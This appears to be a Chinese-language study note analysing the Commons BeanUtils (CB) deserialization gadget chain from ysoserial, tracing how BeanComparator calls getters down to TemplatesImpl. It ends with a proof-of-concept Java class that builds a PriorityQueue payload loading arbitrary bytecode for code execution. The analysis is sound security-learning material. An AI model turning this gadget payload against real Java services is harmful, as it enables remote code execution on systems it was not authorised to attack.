CB链

CB 包：Apache Commons BeanUtils

在 Java 中，符合特定规范的类被称为 JavaBean（通常包含私有属性和 getter/setter 方法）。在处理这些对象时，经常需要频繁地反射赋值、拷贝属性，CB 包就是为了简化 JavaBean 的操作与反射而生的

提供了一系列javabean方法

在ysoserial中的CB链中使用了BeanComparator作为PriorityQueue的中转类来打CB链

核心类

PriorityQueue（触发类）
BeanComparator
PropertyUtils
TemplatesImpl（sink）

BeanComparator

根据CC的经验我们会去触发他的compare方法

方法里面有触发一个PropertyUtils.getProperty方法 猜测会获取对象o1里面的属性

继续更进

实例化一个PropertyUtilsBean对象 调用getProperty方法

继续跟进

进入PropertyUtilsBean.getSimpleProperty方法 上面一系列判断后面调试再看

下面会调用getPropertyDescriptor(bean, name)

猜测是获取相关属性方法用的比如setter和getter

Method readMethod = getReadMethod(bean.getClass(), descriptor)

获取读方法应该是获取getter方法

后面就是直接反射调用

所以说一系列调用获取javabean的属性最后会调用和这个属性有关的getter方法

这是BeanComparator的特性不难想到尝试触发TemplatesImpl.getOutputProperties方法

最后看看怎么传对象到BeanComparator里面

反射调用就行

POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import com.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
import java.util.Properties;

public class CB {
    public static void main(String[] args) throws Exception{
        String path = "D:\\123\\Calc.class";
        byte[] eval = Files.readAllBytes(Paths.get(path));
        byte[][] _bytecodes = new byte[][]{eval};
        String transletName = "sakuya";
        Properties pro = new Properties();
        TransformerFactoryImpl fac = new TransformerFactoryImpl();
        Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor constructor = clazz.getDeclaredConstructor(byte[][].class,String.class,Properties.class,int.class,TransformerFactoryImpl.class);
        constructor.setAccessible(true);
        TemplatesImpl obj = (TemplatesImpl) constructor.newInstance(_bytecodes,transletName,pro,1,fac);


        BeanComparator beanComparator = new BeanComparator();

        PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(1);



        refMethod.setValue(priorityQueue,"queue",new Object[]{obj,obj});
        refMethod.setValue(beanComparator,"property","outputProperties");


        deseriazler.deserialize(priorityQueue);

    }
}